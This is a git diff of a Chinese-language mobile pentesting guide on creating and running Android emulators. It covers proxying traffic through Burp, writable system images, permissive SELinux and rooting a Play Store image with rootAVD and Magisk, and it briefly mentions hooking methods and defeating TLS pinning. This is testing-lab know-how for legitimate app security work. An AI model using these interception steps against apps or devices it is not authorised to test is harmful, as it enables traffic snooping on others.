- 混合静态和动态:在Jadx中查找字符串以缩短类列表;然后钩住方法以在运行时验证
|
||||
- 混合静态和动态:在Jadx中搜索字符串以缩短类列表;然后钩住方法以在运行时验证
|
||||
- 加固的应用程序可能使用打包器和本地TLS固定——预计需要逆向本地代码
|
||||
|
||||
## 参考文献
|
||||
|
||||
@ -6,21 +6,21 @@
|
||||
|
||||
## 什么是
|
||||
|
||||
Android Studio 允许 **运行 Android 的虚拟机,您可以用来测试 APK**。为了使用它们,您需要:
|
||||
Android Studio 允许 **运行 Android 的虚拟机,以便您可以测试 APK**。要使用它们,您需要:
|
||||
|
||||
- **Android SDK 工具** - [在这里下载](https://developer.android.com/studio/releases/sdk-tools)。
|
||||
- 或者 **Android Studio**(带有 Android SDK 工具) - [在这里下载](https://developer.android.com/studio)。
|
||||
|
||||
在 Windows(以我的情况为例)**安装 Android Studio 后**,我在以下位置安装了 **SDK 工具**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
在 Windows(以我的情况为例)**安装 Android Studio 后**,我在以下位置安装了 **SDK 工具**:`C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
在 mac 上,您可以 **下载 SDK 工具** 并通过运行将其放入 PATH:
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
或者从 **Android Studio GUI** 安装,如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 中所示,这将把它们安装在 `~/Library/Android/sdk/cmdline-tools/latest/bin/` 和 `~/Library/Android/sdk/platform-tools/` 以及 `~/Library/Android/sdk/emulator/` 中。
|
||||
或从 **Android Studio GUI** 安装,如在 [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) 中所示,这将把它们安装在 `~/Library/Android/sdk/cmdline-tools/latest/bin/` 和 `~/Library/Android/sdk/platform-tools/` 和 `~/Library/Android/sdk/emulator/`
|
||||
|
||||
对于 Java 问题:
|
||||
关于 Java 问题:
|
||||
```java
|
||||
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
```
|
||||
@ -43,7 +43,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
_**选择** 您想要使用的手机_ 并点击 _**下一步。**_
|
||||
|
||||
> [!WARNING]
|
||||
> 如果您需要安装了 Play Store 的手机,请选择带有 Play Store 图标的手机!
|
||||
> 如果您需要安装了 Play 商店的手机,请选择带有 Play 商店图标的手机!
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
@ -51,7 +51,7 @@ _**选择** 您想要使用的手机_ 并点击 _**下一步。**_
|
||||
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
所以,选择它,如果它没有下载,请点击名称旁边的 _**下载**_ 符号(**现在等待镜像下载完成)。**\
|
||||
所以,选择它,如果没有下载,请点击名称旁边的 _**下载**_ 符号(**现在等待镜像下载完成)。**\
|
||||
一旦镜像下载完成,只需选择 **`下一步`** 和 **`完成`**。
|
||||
|
||||
虚拟机将被创建。现在 **每次您访问 AVD 管理器时,它都会存在**。
|
||||
@ -64,7 +64,10 @@ _**选择** 您想要使用的手机_ 并点击 _**下一步。**_
|
||||
|
||||
## 命令行工具
|
||||
|
||||
首先,您需要 **决定您想要使用哪个手机**,为了查看可能的手机列表,请执行:
|
||||
> [!WARNING]
|
||||
> 对于 macOS,您可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`,前提是您已安装它们。
|
||||
|
||||
首先,您需要 **决定要使用哪个手机**,为了查看可能的手机列表,请执行:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
@ -92,7 +95,7 @@ Name: Nexus 10
|
||||
OEM : Google
|
||||
[...]
|
||||
```
|
||||
一旦您决定了要使用的设备名称,您需要**决定要在此设备上运行哪个 Android 镜像。**\
|
||||
一旦您决定了要使用的设备名称,您需要**决定要在该设备上运行哪个 Android 镜像。**\
|
||||
您可以使用 `sdkmanager` 列出所有选项:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
@ -101,7 +104,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
一旦您下载了想要使用的 Android 镜像,您可以使用以下命令**列出所有下载的 Android 镜像**:
|
||||
一旦您下载了想要使用的 Android 镜像,您可以使用以下命令**列出所有已下载的 Android 镜像**:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
@ -139,7 +142,10 @@ Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### 运行虚拟机
|
||||
|
||||
我们已经看到如何列出创建的虚拟机,但 **您也可以使用以下方法列出它们**:
|
||||
> [!WARNING]
|
||||
> 对于 macOS,您可以在 `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` 找到 `avdmanager` 工具,在 `/Users/<username>/Library/Android/sdk/emulator/emulator` 找到 `emulator`,前提是您已安装它们。
|
||||
|
||||
我们已经看到您可以列出创建的虚拟机,但 **您也可以使用以下方式列出它们**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
@ -150,7 +156,7 @@ Pixel_2_API_27
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
||||
```
|
||||
或者使用更高级的选项,您可以运行虚拟机,例如:
|
||||
或使用更高级的选项,您可以运行虚拟机,例如:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
@ -165,17 +171,19 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
|
||||
**网络**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : 允许用逗号分隔的 DNS 服务器指向 VM。
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : 允许以逗号分隔的方式指示 DNS 服务器给 VM。
|
||||
- **`-http-proxy 192.168.1.12:8080`** : 允许指示要使用的 HTTP 代理(非常有用以使用 Burp 捕获流量)
|
||||
- 如果代理设置由于某种原因无法工作,请尝试在内部配置它们或使用像 "Super Proxy" 或 "ProxyDroid" 的应用程序。
|
||||
- `-netdelay 200` : 设置网络延迟仿真(以毫秒为单位)。
|
||||
- `-port 5556` : 设置用于控制台和 adb 的 TCP 端口号。
|
||||
- `-ports 5556,5559` : 设置用于控制台和 adb 的 TCP 端口。
|
||||
- **`-tcpdump /path/dumpfile.cap`** : 将所有流量捕获到一个文件中
|
||||
- **`-tcpdump /path/dumpfile.cap`** : 将所有流量捕获到文件中
|
||||
|
||||
**系统**
|
||||
|
||||
- `-selinux {disabled|permissive}` : 将安全增强 Linux 安全模块设置为禁用或宽容模式。
|
||||
- `-timezone Europe/Paris` : 设置虚拟设备的时区
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : 设置模拟触摸屏模式。
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : 设置仿真触摸屏模式。
|
||||
- **`-writable-system`** : 使用此选项在仿真会话期间拥有可写的系统映像。你还需要运行 `adb root; adb remount`。这对于在系统中安装新证书非常有用。
|
||||
|
||||
## Rooting a Play Store device
|
||||
@ -185,7 +193,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk),我成功地对其进行了root(例如,可以参考 [**这个视频**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8))。
|
||||
使用 [rootAVD](https://github.com/newbit1/rootAVD) 和 [Magisk](https://github.com/topjohnwu/Magisk) 我成功地对其进行了root(可以参考例如 [**这个视频**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **或** [**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8))。
|
||||
|
||||
## 安装 Burp 证书
|
||||
|
||||
@ -195,7 +203,7 @@ adbd cannot run as root in production builds
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## 友好的 AVD 选项
|
||||
## 方便的 AVD 选项
|
||||
|
||||
### 拍摄快照
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user